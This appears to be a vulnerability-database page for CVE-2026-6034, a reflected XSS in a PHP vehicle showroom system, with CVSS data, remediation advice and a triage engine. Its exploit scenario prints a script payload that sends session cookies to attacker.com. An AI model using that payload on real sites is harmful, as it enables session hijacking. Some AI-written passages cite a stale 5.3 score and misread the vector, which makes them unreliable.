What is the CVSS score of CVE-2026-6034?

CVE-2026-6034 has a CVSS 4.0 base score of 2.1 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P. EPSS exploitation probability: 0.0%.

Is there a public PoC exploit available for CVE-2026-6034?

Yes, a public proof-of-concept exploit is available for CVE-2026-6034. Prioritise patching immediately. EPSS: 0.0%.

Vehicle Showroom Management System CVE-2026-6034

EUVD-2026-21338 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-04-10 VulDB

GHSA-wvcm-8qcx-6vf4

PHP XSS Vehicle Showroom Management System Code Projects

2.1

CVSS 4.0 · NVD

View

Vulnerability Assessment

Weakness	CWE CWE-79 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Output encoding, context-aware escaping MITRE ATT&CK 2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	The CVSS score of 5.3 with low integrity impact (VI:L) and user interaction requirement (UI:P) suggests moderate real-world risk compared to higher-severity XSS vulnerabilities. However, multiple risk signals warrant attention: public exploit availability increases practical exploitability, the attack vector is entirely remote and requires no authentication, and XSS vulnerabilities typically serve as stepping stones in multi-stage attacks (credential harvesting, session fixation, malware distribution). The EPSS exploitation probability is marked 'E:P' (Proof of Concept), indicating confirmed code demonstration. Against these signals, the mandatory user interaction requirement (users must click a malicious link) and lack of confirmed active exploitation (no CISA KEV status provided) reduce the immediate threat level compared to unauthenticated RCE or CSRF vulnerabilities. For organizations running this application, this represents a meaningful but not critical risk requiring timely remediation within standard patching cycles.
Exploit ScenarioDerived	An attacker crafts a malicious URL containing a JavaScript payload in the BRANCH_ID parameter, such as /BranchManagement/ProfitAndLossReport.php?BRANCH_ID=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>, and tricks a logged-in application user into clicking the link via phishing email or social engineering. When the user's browser loads the page, the unencoded JavaScript executes in the context of the application, allowing the attacker to steal session cookies, capture form data, or perform unauthorized actions on behalf of the victim. Publicly available exploit code reduces the skill barrier, making this vulnerability actionable by non-sophisticated threat actors.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).

No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 10, 2026

Reflected cross-site scripting (XSS) in code-projects Vehicle Showroom Management System 1.0 allows remote unauthenticated attackers to inject malicious scripts via the BRANCH_ID parameter in /BranchManagement/ProfitAndLossReport.php, requiring user interaction to execute. Publicly available exploit code exists for this vulnerability, and while the CVSS score of 5.3 is moderate, the low integrity impact combined with user interaction requirement limits practical risk, though XSS vulnerabilities remain routinely exploitable in real-world scenarios.

RemediationAI

Immediate remediation requires upgrading to a patched version of the Vehicle Showroom Management System if available from code-projects.org; however, no specific fixed version has been independently confirmed in the provided data. As an interim workaround, implement server-side input validation and output encoding on the BRANCH_ID parameter by using PHP htmlspecialchars() or similar functions to encode special characters before rendering in HTML context, apply a Web Application Firewall (WAF) rule to block requests containing suspicious script tags or JavaScript protocols in the BRANCH_ID parameter, and restrict access to the /BranchManagement/ directory to authenticated users only. Organizations should contact code-projects directly via https://code-projects.org/ for patch availability and timeline. Given public exploit availability, patching should be prioritized within your standard vulnerability remediation SLA.

Affected VersionsENISA

Vehicle Showroom Management System 1.0

Affected Packages

euvd vehicle_showroom_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from improper input validation and output encoding in a PHP-based web application (CWE-79: Improper Neutralization of Input During Web Page Generation). The Vehicle Showroom Management System processes the BRANCH_ID parameter without sanitizing or encoding user-supplied input before rendering it in web page responses. The vulnerable file /BranchManagement/ProfitAndLossReport.php directly incorporates the BRANCH_ID argument into HTML output without using context-appropriate encoding functions (such as htmlspecialchars, urlencode, or framework-provided XSS protection mechanisms). Attackers can craft URLs containing JavaScript payloads that execute in victims' browsers when they visit the malicious link, allowing session hijacking, credential theft, or malware injection. The CVSS v4.0 vector indicates network-based attack vector with low complexity and no privilege requirements, but requires user interaction (UI:P) to trigger the payload.

Know when Vehicle Showroom Management System gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.1 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

None

Privileges Required

None

User Interaction

Passive

Vulnerable system: Confidentiality

None

Vulnerable system: Integrity

Low

Vulnerable system: Availability

None

Subsequent system: Confidentiality

None

Subsequent system: Integrity

None

Subsequent system: Availability

None

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.3 (MEDIUM) 2.1 (LOW)

PoC Detected

Apr 10, 2026 - 08:16 vuln.today

Public exploit code

CVE Published

Apr 10, 2026 - 07:45 nvd

MEDIUM 5.3

DescriptionCVE.org

A flaw has been found in code-projects Vehicle Showroom Management System 1.0. Impacted is an unknown function of the file /BranchManagement/ProfitAndLossReport.php. Executing a manipulation of the argument BRANCH_ID can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used.

Threat Intelligence Overview

EPSS Score

0.0%

Top 90% exploitable

Exploit

POC

Public exploit code exists

Social Media

Sightings

Data Quality

8 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS

Vulnrichment CIRCL

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity LOW

CISA KEV No

Public POC Yes

EPSS 0.0%

Patch available No

Active threat No

Deciding rule

LOW severity (CVSS 0.1-3.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.